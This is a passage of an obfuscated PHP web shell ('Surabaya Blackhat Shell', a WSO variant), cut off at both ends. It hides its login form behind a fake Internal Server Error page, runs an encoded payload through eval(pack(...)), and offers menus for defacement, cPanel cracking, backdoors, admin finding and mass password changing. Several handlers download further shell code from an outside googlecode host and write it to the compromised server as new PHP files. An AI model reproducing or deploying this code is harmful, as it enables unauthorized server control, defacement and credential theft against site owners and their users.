\x6fr\n\x6d\x69\x73\x63\x6f\x6efigur\x61\x74\x69\x6f\x6e\x20\x61\x6e\x64\x20\x77as \x75n\x61\x62l\x65\x20\x74\x6f c\x6fm\x70\x6c\x65te\nyour\x20r\x65\x71\x75e\x73\x74\x2e</p\x3e\n<p>\x50l\x65\x61\x73e\x20c\x6f\x6e\x74\x61\x63t\x20\x74\x68e\x20\x73erve\x72\x20\x61\x64\x6di\x6e\x69st\x72at\x6fr\x20m\x65n\x69nbo\x78@\x73\x75r\x61b\x61\x79a\x62l\x61c\x6b\x68\x61t.org a\x6ed i\x6e\x66or\x6d \x74\x68\x65\x6d\x20of the \x74i\x6de \x74\x68e erro\x72 oc\x63\x75\x72\x72\x65\x64,\x20a\x6e\x64\x20\x61\x6eyt\x68\x69\x6eg\x20\x79ou m\x69gh\x74 h\x61v\x65 done\x20\x74\x68\x61\x74 m\x61y h\x61\x76e c\x61us\x65\x64 the \x65r\x72\x6f\x72.</\x70\x3e\n<\x70>\x4do\x72\x65 \x69\x6eforma\x74\x69o\x6e\x20\x61b\x6f\x75t \x74h\x69s \x65rror\x20m\x61\x79 b\x65\x20a\x76\x61\x69lab\x6ce i\x6e t\x68e\x20s\x65\x72ve\x72 er\x72or\x20l\x6f\x67.\x3c/p>\n<\x70>\x41d\x64i\x74\x69ona\x6c\x6c\x79, a\x20\x35\x300\x20\x49nt\x65rnal S\x65r\x76\x65\x72 E\x72\x72\x6fr e\x72\x72\x6fr\x20\x77\x61\x73\x20enco\x75\x6ete\x72e\x64 \x77hile\x20t\x72yi\x6eg \x74o \x75\x73e\x20\x61\x6e\x20\x45\x72ror\x44\x6fcu\x6d\x65\x6e\x74\x20to\x20hand\x6c\x65\x20t\x68e \x72equ\x65s\x74.</p>\n \x20\x20\x20<s\x74yl\x65>\n\x20 \x20\x20\x20 \x69\x6eput {\x20\x6da\x72\x67\x69n:0\x3bba\x63kg\x72\x6fu\x6e\x64-color:#f\x66f;\x62\x6f\x72de\x72:\x31px \x73\x6fl\x69d \x23\x66f\x66;\x20}\n\x20\x20\x20 \x3c/\x73t\x79\x6c\x65\x3e\n\x20 \x20\x3cp\x72e\x20align\x3dce\x6et\x65\x72>\n\x20\x20\x20\x20<f\x6f\x72m \x6deth\x6fd\x3d\x70\x6f\x73\x74>\n \x3ci\x6epu\x74\x20\x74y\x70e=\x70a\x73sw\x6fr\x64\x20\x6ea\x6d\x65\x3d\x70ass>\n\x20 \x20\x20\x3c/\x66or\x6d\x3e</\x70\x72e\x3e\n\t");}if(!isset($_SESSION[md5($_SERVER["\x48\x54\x54\x50\x5f\x48OS\x54"])])){${"\x47\x4cO\x42\x41L\x53"}["r\x6ek\x70\x71el"]="au\x74h\x5fpa\x73\x73";if(empty(${${"G\x4c\x4f\x42\x41\x4cS"}["\x72\x6e\x6b\x70qe\x6c"]})||(isset($_POST["pas\x73"])&&(md5($_POST["p\x61s\x73"])==${${"G\x4cOBA\x4cS"}["\x7a\x71\x78n\x74\x75\x68"]})))$_SESSION[md5($_SERVER["\x48\x54T\x50\x5f\x48OS\x54"])]=true;else wsoLogin();}${"\x47\x4cOBALS"}["\x68\x74p\x61\x6c\x72"]="hea\x64";${${"\x47\x4cO\x42\x41LS"}["ht\x70a\x6c\x72"]}="\n\x3c\x68\x74\x6dl>\n\x3che\x61d>\n<lin\x6b \x72\x65l=\x22sh\x6f\x72\x74cut \x69co\x6e\"\x20hr\x65\x66=\"h\x74tp://\x66\x69les.\x73\x6ff\x74ic\x6fn\x73\x2e\x63\x6fm/d\x6fwn\x6coad/\x69nte\x72\x6e\x65t-c\x6f\x6es/\x66\x6c\x61\x67-\x69\x63on\x73-by-\x63\x75\x73\x74o\x6d-icon-d\x65\x73\x69\x67n/\x70ng/\x312\x38/I\x6e\x64\x6fnesia-F\x6c\x61g\x2e\x70\x6eg\"\x20/>\n\x3c/scr\x69\x70t\x3e\n<\x74\x69\x74l\x65>[ Su\x72aba\x79\x61 B\x6cac\x6bh\x61\x74\x20S\x68ell\x20]</\x74i\x74l\x65\x3e\n\x3cm\x65\x74\x61 http-\x65q\x75iv=\"\x43\x6fntent-T\x79\x70\x65\"\x20\x63\x6fnt\x65n\x74=\"\x74e\x78\x74/\x68tml\x3b\n\x20c\x68ar\x73e\x74\x3d\x55TF-8\"\x3e\n<style\x3e\n\t\t\t\t\x62o\x64\x79{col\x6fr:#\x63c130c;\n \x66o\x6e\x74-\x73\x69\x7a\x65:\x201\x32px;\n \x66\x6f\x6et-fa\x6d\x69\x6cy: ser\x69\x66;\n\x20\x62\x61\x63\x6bg\x72\x6fu\x6ed-\x63olo\x72:\x20black\x3b\n ba\x63\x6b\x67ro\x75\x6e\x64-i\x6dag\x65:\x20\x75\x72l(h\x74t\x70://\x69\x364\x37\x2eph\x6f\x74obucket\x2ecom/\x61lb\x75m\x73/\x75u1\x397/\x4deN\x69n\x42o\x58/b\x61c\x6b\x67\x72\x6fu\x6ed\x5fshe\x6cl\x5f\x7ap\x73\x32\x309\x34fd\x39\x61\x2ejp\x67);\n\n\t\t\t\tb\x61\x63\x6bgrou\x6ed-\x72\x65p\x65\x61t: n\x6f-r\x65\x70\x65at;\n\n\t\t\t\tb\x61\x63\x6b\x67\x72\x6f\x75\x6ed-po\x73\x69\x74io\x6e:\x20bo\x74\x74\x6f\x6d\x3b\n\x20}\n\x20 \x20\x20 \x20\x20a {text-d\x65\x63o\x72\x61t\x69\x6fn: n\x6fn\x65;\n col\x6fr: #\x63\x6313\x30\x63;\n\x20\x66\x6f\x6e\x74-w\x65ig\x68t: \x62old;\n}\n\n\n//~\x20\x42\x79 R\x337\x4e0 \x7e//\n</st\x79l\x65\x3e";echo"<h\x74m\x6c\x3e\n\t<head>\n\t\t";${"\x47\x4cO\x42\x41\x4cS"}["o\x79g\x6dkl\x6bm\x75\x76"]="\x68\x65a\x64";${"\x47L\x4f\x42\x41\x4c\x53"}["\x6c\x69ng\x6eg\x77x"]="\x66\x69\x6ce";echo${${"\x47LO\x42A\x4cS"}["o\x79\x67mkl\x6bm\x75v"]};${"\x47\x4c\x4f\x42ALS"}["\x76\x69\x6cvziz\x67\x66"]="use\x72\x73";${"\x47\x4cO\x42A\x4cS"}["\x78\x69\x79i\x6e\x7a\x76\x77\x79z\x76j"]="\x75\x73\x73";${"GLO\x42\x41\x4c\x53"}["\x6flepvr\x75n\x65"]="c\x6dd";${"\x47\x4cO\x42\x41LS"}["\x7a\x6chh\x67\x6d"]="dir";${"\x47L\x4f\x42ALS"}["\x78\x72uosd"]="\x62";${"\x47LOB\x41LS"}["wrm\x62\x69ytw\x6fr\x62"]="r\x72";${"GL\x4fBAL\x53"}["\x72rndqrgxq\x70vw"]="con\x73\x79\x6d";echo"\n<\x74a\x62l\x65 widt\x68\x3d\"1\x300%\"\x20c\x65l\x6c\x73p\x61c\x69ng\x3d\x22\x30\" \x63\x65\x6c\x6cpa\x64\x64\x69n\x67=\x220\"\x20class=\"tb\x31\" \x3e<\x74d w\x69\x64t\x68\x3d\x221\x30\x30\x25\x22\x20ali\x67n\x3dce\x6eter v\x61\x6c\x69g\x6e\x3d\x22\x74\x6f\x70\x22\x20\x72o\x77s\x70an=\"1\"\x3e\n<br>\n\x3cbr>\n<\x62\x72\x3e\n\x3cbr\x3e\n\x3cb\x72>\n\x3c\x62r\x3e\n<b\x72>\n\x3c\x62r\x3e\n<\x62r\x3e\n<b\x72>\n<br>\n\x3cbr\x3e\n\x3cb\x72>\n<\x62r\x3e\n\x3chr \x63o\x6cor\x3d\"r\x65d\x22>\x3c/i>\n\x3c/ta\x62\x6ce\x3e\n";echo"<\x63e\x6et\x65\x72>\n\x3cfon\x74 \x63\x6f\x6cor\x3d\"\x72\x65d\x22 \x66\x6f\x6e\x74 \x73\x69\x7ae\x3d3\x20\x3e \n<font color=\"\x77hi\x74e\"\x20f\x6f\x6e\x74\x20\x73\x69\x7a\x65=3\x20\x3e\n\n\n<a \x68\x72ef\x3d\x22?a\x3d\x77\x73\x6f\"\x20\x73ty\x6c\x65\x3d\"t\x65\x78t-\x64e\x63\x6f\x72a\x74\x69\x6fn:\x20\x6eo\x6e\x65;\x63o\x6c\x6fr:#\x30\x30f\x610\x30;\">\n\x57\x53O\x20\x53h\x65ll \x3c/a\x3e\x20\n<fon\x74\x20\x63o\x6c\x6fr=\"\x77\x68\x69\x74\x65\x22\x20\x66o\x6et \x73\x69\x7a\x65=3\x20> \n| </\x66o\x6et\x3e\n\n\x3c\x61 \x68\x72\x65f\x3d\x22?a\x3djic\x22\x73\x74\x79l\x65=\"t\x65x\x74-\x64e\x63or\x61\x74i\x6f\x6e: no\x6ee;co\x6cor:\x2300\x66\x61\x30\x30\x3b\x22>\n\x4ao\x6fml\x61 \x49\x6e\x64ex Cha\x6e\x67er\x20</a\x3e\x20\n| </\x66o\x6e\x74>\n\n\x3c\x61\x20\x68\x72ef=\x22?a=w\x69c\"\x73\x74\x79le\x3d\"t\x65\x78\x74-dec\x6f\x72\x61\x74ion: n\x6fne;\x63\x6f\x6cor:\x230\x30fa\x30\x30\x3b\">\x57\x6frdp\x72e\x73\x73 In\x64ex Ch\x61\x6ege\x72 </\x61>\x20\n\x3cfo\x6e\x74\x20\x63o\x6c\x6f\x72=\"wh\x69\x74\x65\x22\x20f\x6f\x6et\x20siz\x65=\x33 >\n|\x20</\x66\x6f\x6et\x3e\x20\n\n\x3c\x61\x20h\x72e\x66=\x22?a\x3dc\x70\x22\x20\x73t\x79\x6c\x65=\"t\x65\x78\x74-de\x63\x6f\x72\x61\x74ion:\x20\x6eo\x6ee;\x63\x6fl\x6f\x72:#\x30\x30fa00;\x22>\x43pan\x65\x6c Cr\x61\x63\x6b\x65\x72 \x3c/\x61\x3e\x20\n\x3cf\x6fnt\x20c\x6f\x6c\x6f\x72\x3d\"white\"\x20\x66ont\x20s\x69z\x65\x3d\x33\x20\x3e\n| \x3c/\x66\x6fn\x74\x3e \n\n\x3c\x61\x20\x68\x72ef=\"?a\x3dm\x63\x70\x22\x20s\x74yl\x65=\"\x74e\x78\x74-\x64ec\x6frat\x69o\x6e: n\x6f\x6ee;c\x6fl\x6f\x72:#00fa0\x30;\x22\x3e\x4da\x73\x73 \x44e\x66a\x63\x65 C\x70a\x6e\x65l\x20\x3c/a>\x20\n\x3cfon\x74\x20colo\x72\x3d\"\x77hi\x74e\x22\x20f\x6fnt\x20\x73\x69\x7a\x65=\x33 >\n| \x3c/\x66o\x6et>\x20\n\n<a h\x72\x65f\x3d\"?a=\x6d\x64\x22 s\x74\x79le\x3d\"\x74ex\x74-d\x65c\x6frat\x69o\x6e: no\x6e\x65;co\x6c\x6fr:#\x300\x66\x61\x300;\x22>\nM\x61\x73s\x20\x44\x65f\x61c\x65 \x3c/a> \n\x3c\x66ont c\x6f\x6co\x72=\"wh\x69t\x65\"\x20\x66\x6f\x6et\x20s\x69ze=3\x20\x3e \n| \x3c/font> \n\x3cbr\x3e\n\n<a h\x72\x65\x66\x3d\"?\x61=b\x34\x63\x6b\" \x73\x74\x79l\x65=\x22\x74\x65\x78\x74-\x64\x65\x63\x6fra\x74\x69on:\x20none;\x63\x6f\x6cor:\x230\x30fa\x300;\"\x3e\n\x42a\x63k\x64o\x6fr \x3c/\x61>\x20\n<f\x6f\x6et\x20co\x6c\x6f\x72\x3d\"w\x68ite\" fon\x74\x20\x73\x69z\x65=3 \x3e\n| \x3c/f\x6f\x6et> \n\n\x3c\x61 h\x72\x65f=\x22?a=j\x73s\x22\x20s\x74\x79l\x65\x3d\x22t\x65xt-de\x63\x6f\x72\x61\x74i\x6fn:\x20\x6eo\x6e\x65\x3b\x63\x6f\x6cor:\x2300\x66a\x30\x30\x3b\"\x3e\n\x4ao\x6fml\x61\x20Ser\x76e\x72 S\x63an\x6eer </a> \n<fon\x74 \x63\x6f\x6c\x6f\x72\x3d\"\x77hit\x65\x22\x20f\x6f\x6et si\x7ae\x3d\x33 \x3e\x20\n|\x20</font\x3e \n\n\x3c\x61\x20hre\x66=\x22?\x61=ws\x73\x22\x20s\x74\x79l\x65=\x22t\x65\x78\x74-d\x65\x63\x6fr\x61tion:\x20non\x65\x3bcolor:\x2300\x66a00;\x22\x3e\nW\x6frdp\x72e\x73s \x53erve\x72 Scan\x6e\x65r \x3c/\x61\x3e \n\x3c\x66o\x6e\x74\x20c\x6fl\x6f\x72=\x22wh\x69\x74\x65\" fo\x6et\x20\x73\x69\x7ae\x3d3\x20>\x20\n|\x20\x3c/f\x6fnt>\x20\n\n<\x61\x20h\x72e\x66\x3d\x22?a\x3dad\x6d\x22\x20\x73\x74yle\x3d\x22t\x65\x78\x74-\x64\x65\x63o\x72at\x69o\x6e: none;\x63\x6flor:#0\x30fa0\x30;\">\nAd\x6din Fin\x64\x65r </\x61\x3e \n<\x66\x6fnt\x20c\x6f\x6co\x72=\x22\x77hite\x22 \x66\x6fnt\x20si\x7ae=3\x20> \n|\x20</f\x6f\x6e\x74\x3e \n\n\x3ca\x20\x68\x72\x65\x66=\"?a=\x77\x6b\x22\x20s\x74\x79\x6c\x65\x3d\"\x74\x65\x78\x74-d\x65\x63or\x61ti\x6f\x6e: \x6e\x6fne\x3b\x63\x6f\x6cor:#\x300\x66a\x30\x30;\x22\x3e\n\x57\x48\x43\x4d\x53\x20\x4b\x69lle\x72\x20\x3c/\x61\x3e \n<\x66o\x6et \x63o\x6c\x6fr=\"w\x68it\x65\x22 f\x6f\x6e\x74\x20\x73\x69z\x65\x3d3\x20\x3e \n| \x3c/\x66o\x6et>\x20\n<\x62\x72>\n\n\x3ca\x20\x68r\x65\x66\x3d\x22?a=c\x64\x22 sty\x6c\x65=\"\x74e\x78\x74-\x64\x65\x63\x6f\x72a\x74ion:\x20\x6eon\x65\x3bc\x6flo\x72:\x230\x30\x66a00\x3b\">\nCMS \x44et\x65\x63\x74\x6fr\x20\x26\x20\x53\x79\x6dlin\x6b </a> \n<\x66o\x6e\x74 \x63olo\x72=\x22w\x68i\x74e\" \x66o\x6e\x74 \x73iz\x65=3 > \n|\x20</\x66\x6f\x6e\x74>\x20\n\n\x3c\x61 \x68ref\x3d\x22?\x61=\x6dpc\x22 \x73t\x79\x6c\x65=\x22\x74e\x78\x74-\x64\x65\x63orati\x6f\x6e:\x20no\x6e\x65\x3b\x63\x6f\x6c\x6f\x72:\x23\x300fa\x30\x30;\x22>\nMa\x73s\x20\x50as\x73wo\x72\x64 Can\x67\x65r \x3c/a>\x20\n\x3c\x66ont\x20\x63\x6f\x6c\x6f\x72=\"w\x68\x69\x74\x65\"\x20font \x73ize=3 > \n| </f\x6fn\x74\x3e\n\n<\x61\x20h\x72\x65\x66=\"?a=sql\x22\x20s\x74y\x6ce\x3d\"t\x65\x78t-d\x65\x63\x6f\x72\x61t\x69\x6fn: \x6eo\x6ee\x3bco\x6cor:#00\x66\x61\x30\x30;\x22\x3eS\x51L \x4cogi\x6e\x20</\x61>\x20\n\x3c\x66ont \x63ol\x6f\x72\x3d\x22\x77\x68ite\" f\x6f\x6e\x74\x20\x73i\x7a\x65=3 >\n| </\x66o\x6et>\x20\n\n<\x61 \x68r\x65\x66=\"?a=zo\x6ee\x22 \x73t\x79\x6c\x65\x3d\x22\x74\x65\x78t-\x64\x65c\x6fr\x61ti\x6fn:\x20\x6e\x6f\x6e\x65;co\x6co\x72:\x230\x30f\x61\x300\x3b\">\n\x5a\x6fne-H</a\x3e\x20\n<\x66on\x74 \x63\x6fl\x6f\x72\x3d\x22\x77\x68\x69t\x65\x22\x20f\x6fnt\x20s\x69\x7a\x65\x3d3 \x3e\x20\n| </fon\x74\x3e\x20\n\x20\n</\x66on\x74>\x3chr\x20\x63\x6f\x6co\x72\x3d\x22\x72e\x64\"\x3e\n";eval(pack("H*","6\x357\x36\x3616C2862\x36\x317365363\x34\x35\x46\x364\x3656\x336F\x36\x34\x365\x32\x38274\x41\x348\x35\x36\x37962\x34\x34\x33\x30\x36B\x35\x38\x3314E4\x36\x35\x356C5\x41\x34\x36\x355\x36C\x37\x336E\x353\x34\x36\x3525\x355\x3546\x339495431\x34E\x3554\x41\x33\x313\x30\x37\x35\x34A4\x363\x3954\x35\x32\x35\x364\x41\x3575256\x34\x41624A\x33\x314\x414\x36\x3555\x36\x35\x36\x34\x36\x355\x331\x35\x32\x36\x3656\x35\x36\x34\x414\x414A31\x330\x33\x37\x34\x336D\x331\x368\x361\x357\x37\x376F4A\x332\x37\x30\x331\x363\x33\x335\x327A\x3615\x385\x32\x3745\x39\x358\x34\x45305\x415\x38\x34\x41415\x41\x33\x32\x331\x36\x38\x36\x315\x37\x37\x37\x37\x355\x39\x33\x3239\x37\x34\x34\x417\x39\x37\x37\x36\x42\x35831\x34\x45\x34\x36\x355\x36C\x35\x414\x3655\x36\x43\x3736E55\x330\x35\x36\x353\x356\x36B56\x35\x335830\x34645\x35\x32\x34\x364\x39\x36E\x35\x38\x35\x33\x37\x37\x36\x42\x36\x3458\x34\x417\x334\x425\x347\x33\x34\x42\x34A\x347\x34\x416\x38633\x32566\x3664584A\x37\x33\x34\x39443\x30\x36\x37\x34A\x332\x368306\x34\x34\x38\x34\x31\x3364\x43\x3793\x38\x36E\x34C\x36952\x36\x365\x35\x33\x305\x36\x35\x335\x366B\x35\x365357796\x34\x35\x34\x3525\x364A57\x3525\x364A\x36\x36\x354\x36B4\x36\x34\x45\x35\x325\x336\x3464\x34C\x36\x44\x35\x32\x37\x30\x363\x36\x443568\x362\x35\x37\x3556F\x34A4\x3639545256\x34\x415\x3752\x3564A6\x324\x41\x33\x31\x34E4\x34556B6\x435\x3156\x346394F\x35\x31\x35531\x34\x36\x34A\x3313\x30\x370\x34F\x377\x32\x3729\x3293\x42"));if($_GET[a]=="j\x69c"){$rdvlpiwo="i\x77\x64\x71\x75\x72\x76";${"G\x4cOBA\x4cS"}["b\x69\x6c\x69\x72da\x73qhyu"]="\x62";$unybsdwtx="\x69\x77dq\x75rv";${$unybsdwtx}="b";${"G\x4c\x4f\x42\x41LS"}["s\x6em\x69\x78\x6dmru"]="\x66\x69\x6ce";${${"GLO\x42\x41\x4cS"}["sn\x6d\x69\x78mmru"]}=file_get_contents("\x68t\x74p\x73://surab\x61y\x61\x62\x6ca\x63kha\x74.\x67\x6f\x6f\x67\x6ce\x63od\x65\x2e\x63\x6fm/\x66i\x6c\x65s/\x6a\x6fo\x6dl\x61\x69n\x64\x65\x78c\x68an\x67\x65\x72.t\x78t");${${"GLOBA\x4cS"}["\x62\x69\x6ci\x72\x64\x61\x73\x71\x68\x79\x75"]}=fopen("\x6a\x69\x63\x2ep\x68p","\x77");${${"G\x4cO\x42\x41\x4cS"}["xs\x70\x71\x68t\x77\x78"]}="b";fwrite(${${$rdvlpiwo}},${${"GLOBA\x4cS"}["l\x69\x6eg\x6e\x67\x77x"]});fclose(${${${"GL\x4f\x42\x41L\x53"}["\x78\x73\x70\x71\x68t\x77\x78"]}});print"<c\x65nt\x65r>\x3cfont \x63o\x6cor\x3d\x22\x77\x68it\x65\x22\x3eDo\x6ee \x53\x68\x65ll \x4e\x61\x6d\x65 \x3ca \x68\x72e\x66\x3d\x22j\x69\x63.ph\x70\">\x3cbli\x6ek><fo\x6et\x20\x63\x6f\x6co\x72=\x72ed\x3e\x6aic\x2eph\x70\x3c/\x66\x6fnt></bli\x6ek\x3e</\x61>\x20";}if($_GET[a]=="\x77i\x63"){${"G\x4cO\x42\x41\x4cS"}["c\x6f\x6d\x62\x67\x64\x6f\x6a\x73\x73f"]="\x70\x62ns\x70\x69z\x61\x73\x70\x6c";${"\x47\x4cOBALS"}["ky\x70p\x78b\x6c\x73l\x67"]="\x62";${"GL\x4f\x42A\x4cS"}["cfd\x74\x61wh"]="\x66\x69\x6ce";${${"\x47\x4c\x4fBA\x4c\x53"}["comb\x67\x64\x6f\x6a\x73\x73\x66"]}="fi\x6c\x65";${${${"\x47\x4c\x4f\x42\x41LS"}["x\x76gf\x67mp\x6a\x6ef"]}}=file_get_contents("http\x73://s\x75\x72ab\x61\x79abla\x63\x6bha\x74.\x67\x6fog\x6c\x65code.co\x6d/\x66i\x6ces/\x77\x6frdpre\x73s\x69n\x64exc\x68\x61\x6ege\x72\x2et\x78\x74");${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x79\x79evc\x71\x65\x63\x79\x79\x7a"]}="\x62";${${${"G\x4c\x4f\x42\x41\x4c\x53"}["y\x79\x65\x76\x63\x71e\x63\x79yz"]}}=fopen("wi\x63.\x70\x68\x70","\x77");${${"\x47L\x4f\x42AL\x53"}["icl\x79ds\x69n"]}="b";fwrite(${${"\x47\x4c\x4fBA\x4c\x53"}["ky\x70\x70x\x62\x6cslg"]},${${"\x47\x4c\x4fBALS"}["cf\x64\x74a\x77\x68"]});fclose(${${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x69\x63l\x79\x64sin"]}});print"<c\x65n\x74\x65\x72>\x3c\x66\x6f\x6e\x74\x20co\x6c\x6f\x72\x3d\"whi\x74\x65\"\x3e\x44on\x65 S\x68el\x6c \x4e\x61me \x3c\x61\x20\x68\x72\x65\x66=\x22\x77i\x63.ph\x70\x22><bl\x69nk><font\x20\x63\x6f\x6co\x72\x3dr\x65d>wic\x2e\x70h\x70\x3c/f\x6fnt>\x3c/\x62l\x69\x6ek></a\x3e ";}if($_GET[a]=="\x63p"){${"G\x4cO\x42A\x4cS"}["\x78\x70h\x72jj\x6d\x64"]="b";${${"\x47L\x4f\x42\x41LS"}["l\x69\x6eg\x6eg\x77x"]}=file_get_contents("\x68ttps://su\x72\x61b\x61yabl\x61ck\x68a\x74.\x67o\x6f\x67l\x65\x63\x6fde.c\x6fm/\x66ile\x73/s\x62h\x63pc\x2e\x74x\x74");${"\x47LO\x42\x41L\x53"}["\x63\x73u\x67\x6f\x72zby\x64"]="b";${${"G\x4cOBA\x4cS"}["\x63\x73ug\x6f\x72\x7a\x62y\x64"]}=fopen("c\x70\x2eph\x70","w");fwrite(${${"GL\x4f\x42AL\x53"}["\x78\x70hr\x6a\x6amd"]},${${"G\x4cO\x42\x41\x4c\x53"}["l\x69n\x67n\x67wx"]});${"\x47LO\x42\x41\x4cS"}["\x77evy\x6c\x69s\x66\x73d\x65"]="b";fclose(${${"G\x4c\x4f\x42ALS"}["\x77ev\x79\x6c\x69\x73fs\x64e"]});print"<\x63ente\x72\x3e<f\x6f\x6e\x74 co\x6co\x72\x3d\"w\x68it\x65\"\x3eDon\x65 \x53hel\x6c\x20\x4e\x61m\x65\x20\x3c\x61 hre\x66=\"cp.\x70\x68p\x22>\x3cb\x6c\x69\x6ek\x3e\x3c\x66ont \x63\x6flor=\x72\x65\x64\x3e\x63\x70\x2e\x70\x68p\x3c/f\x6f\x6et\x3e\x3c/\x62\x6cink\x3e\x3c/a>\x20";}if($_GET[a]=="m\x63p"){${"GL\x4f\x42\x41L\x53"}["\x61\x6a\x74p\x73\x68\x6b\x7ao"]="file";${"GLOBA\x4cS"}["\x71\x71\x79\x75y\x77\x6doh"]="\x62";${${"GL\x4f\x42\x41\x4c\x53"}["a\x6at\x70sh\x6bz\x6f"]}=file_get_contents("h\x74\x74\x70\x73://\x73ura\x62a\x79a\x62\x6ca\x63k\x68a\x74\x2egoogl\x65\x63o\x64e.c\x6fm/\x66il\x65\x73/mas\x73\x63\x70.t\x78t");${${"GLOB\x41\x4cS"}["x\x72u\x6fsd"]}=fopen("\x6d\x61ss\x63p\x2e\x70\x68p","w");fwrite(${${"G\x4c\x4f\x42\x41LS"}["\x71\x71y\x75ywmo\x68"]},${${"\x47\x4cO\x42A\x4c\x53"}["\x6ci\x6eg\x6eg\x77\x78"]});fclose(${${"\x47L\x4f\x42A\x4c\x53"}["x\x72\x75\x6f\x73\x64"]});print"<\x63\x65n\x74e\x72\x3e<\x66o\x6e\x74 color\x3d\x22w\x68it\x65\">D\x6fn\x65 S\x68e\x6cl \x4e\x61m\x65 <a\x20\x68\x72\x65f=\x22mas\x73\x63\x70\x2ep\x68p\">\x3cbl\x69n\x6b>\x3c\x66\x6fn\x74 \x63olor\x3dre\x64\x3ema\x73\x73\x63p.\x70hp\x3c/font\x3e\x3c/b\x6c\x69\x6ek>\x3c/\x61\x3e\x20";}if($_GET[a]=="\x73\x71\x6c"){${"GLO\x42A\x4c\x53"}["je\x72\x61\x6dtq"]="\x66ile";${${"\x47\x4cO\x42\x41L\x53"}["j\x65r\x61mtq"]}=file_get_contents("\x68\x74\x74\x70s://\x73\x75\x72a\x62\x61ya\x62la\x63khat.\x67\x6f\x6fg\x6c\x65co\x64e\x2ec\x6fm/\x66\x69\x6ces/\x73q\x6cl\x6f\x67in.t\x78t");${${"\x47\x4cOB\x41\x4c\x53"}["\x78r\x75\x6f\x73d"]}=fopen("\x73\x71\x6c\x2ep\x68p","\x77");fwrite(${${"\x47LO\x42ALS"}["xru\x6f\x73d"]},${${"\x47\x4cOBA\x4cS"}["l\x69\x6egng\x77x"]});fclose(${${"GLO\x42A\x4c\x53"}["xr\x75o\x73d"]});print"<\x63\x65\x6et\x65r\x3e<fon\x74\x20\x63ol\x6fr\x3d\x22wh\x69\x74e\x22\x3eDon\x65 \x53hell\x20\x4e\x61me\x20<a\x20hr\x65f=\"sql\x2ephp\"\x3e<\x62li\x6ek><\x66\x6fn\x74 \x63olor\x3dr\x65d\x3es\x71\x6c.p\x68p\x3c/\x66\x6fn\x74\x3e</\x62lin\x6b>\x3c/a>\x20";}if($_GET[a]=="b\x34ck"){${${"\x47\x4c\x4fBA\x4c\x53"}["li\x6egngwx"]}=file_get_contents("htt\x70s://\x73uraba\x79ab\x6cac\x6bhat.\x67oog\x6c\x65co\x64\x65.\x63o\x6d/f\x69le\x73/\x624ck.tx\x74");${"\x47LO\x42\x41\x4cS"}["n\x75\x67\x74\x69\x6c\x78\x67\x7acc"]="\x78\x72\x64\x76\x66\x66\x74n\x78";${"G\x4cO\x42A\x4cS"}["bm\x68g\x78o\x73\x6bu"]="\x62";${${"G\x4cO\x42A\x4cS"}["\x61m\x70\x6e\x6cbv"]}="\x62";${${"\x47\x4c\x4f\x42\x41\x4cS"}["\x6eu\x67\x74\x69\x6c\x78gz\x63\x63"]}="\x66ile";${${"\x47\x4cOB\x41LS"}["b\x6dhg\x78\x6fsk\x75"]}=fopen("\x624\x63k\x2ep\x68p","w");fwrite(${${${"\x47\x4c\x4fB\x41LS"}["\x61mp\x6e\x6c\x62\x76"]}},${${${"G\x4c\x4f\x42\x41L\x53"}["\x68\x75w\x64d\x75n\x62k\x75"]}});fclose(${${"GL\x4fBA\x4c\x53"}["\x78r\x75\x6fs\x64"]});print"<\x63e\x6e\x74er><f\x6f\x6et \x63\x6f\x6co\x72\x3d\"\x77\x68it\x65\">Do\x6ee\x20Sh\x65\x6cl\x20\x4e\x61\x6d\x65\x20<a\x20\x68\x72\x65f\x3d\x22\x624\x63k.p\x68p\"\x3e\x3cb\x6cink\x3e\x3cfo\x6e\x74\x20c\x6f\x6c\x6fr=r\x65d>\x62\x34ck.\x70h\x70\x3c/\x66\x6f\x6et></blin\x6b></\x61>\x20";}if($_GET[a]=="j\x73s"){${"\x47\x4c\x4fBA\x4cS"}["i\x64\x73o\x70\x63\x6d\x61\x73m\x65"]="k\x68\x73d\x77\x66z\x68\x72l";${"\x47L\x4fBA\x4c\x53"}["\x6b\x73\x6d\x69\x76v\x6f"]="\x62\x72ej\x76u\x76\x6f\x6d\x70\x69\x6d";${${"GL\x4f\x42A\x4cS"}["dw\x75\x68gdd\x70\x79"]}="fil\x65";${${${"\x47L\x4f\x42\x41L\x53"}["\x6b\x73\x6di\x76\x76o"]}}=file_get_contents("h\x74\x74ps://\x73u\x72\x61b\x61\x79ab\x6ca\x63\x6b\x68a\x74\x2e\x67\x6f\x6fgl\x65\x63\x6fde.c\x6fm/\x66iles/js\x73\x2et\x78t");${${"\x47L\x4f\x42\x41\x4c\x53"}["id\x73op\x63\x6d\x61\x73\x6d\x65"]}="\x62";${${"GL\x4f\x42A\x4cS"}["x\x72\x75o\x73\x64"]}=fopen("j\x73\x73.\x70\x68\x70","\x77");fwrite(${${${"\x47\x4cOBALS"}["\x75\x70\x62dmn\x76\x78ij"]}},${${"GLOBA\x4cS"}["l\x69n\x67\x6eg\x77\x78"]});fclose(${${"\x47\x4c\x4fBALS"}["\x78ru\x6fs\x64"]});print"\x3cce\x6et\x65r>\x3c\x66o\x6et\x20colo\x72\x3d\x22\x77h\x69\x74e\x22\x3eDo\x6e\x65\x20S\x68\x65\x6c\x6c N\x61me <a hr\x65\x66=\x22\x6as\x73\x2e\x70\x68\x70\x22>\x3c\x62l\x69n\x6b>\x3c\x66\x6fnt \x63\x6f\x6co\x72\x3dr\x65\x64>jss\x2e\x70\x68p</font\x3e\x3c/bl\x69\x6ek\x3e</a\x3e\x20";}if($_GET[a]=="wss"){${"G\x4cO\x42\x41LS"}["ija\x65b\x75\x66"]="b";${${"G\x4c\x4f\x42\x41LS"}["lin\x67\x6e\x67w\x78"]}=file_get_contents("\x68\x74t\x70\x73://sur\x61\x62\x61yab\x6ca\x63k\x68at\x2e\x67o\x6f\x67l\x65\x63\x6f\x64e.com/\x66ile\x73/ws\x73\x2etxt");${${"G\x4cOBALS"}["\x78ruo\x73\x64"]}=fopen("\x77ss.ph\x70","w");fwrite(${${"\x47\x4c\x4f\x42\x41L\x53"}["\x78\x72\x75o\x73d"]},${${"\x47L\x4f\x42\x41LS"}["lin\x67n\x67\x77\x78"]});fclose(${${"G\x4cOB\x41\x4c\x53"}["\x69\x6a\x61e\x62uf"]});print"\x3c\x63e\x6ete\x72\x3e\x3c\x66\x6f\x6et\x20c\x6f\x6cor\x3d\x22w\x68\x69\x74e\x22>\x44\x6fne\x20\x53hel\x6c\x20\x4eam\x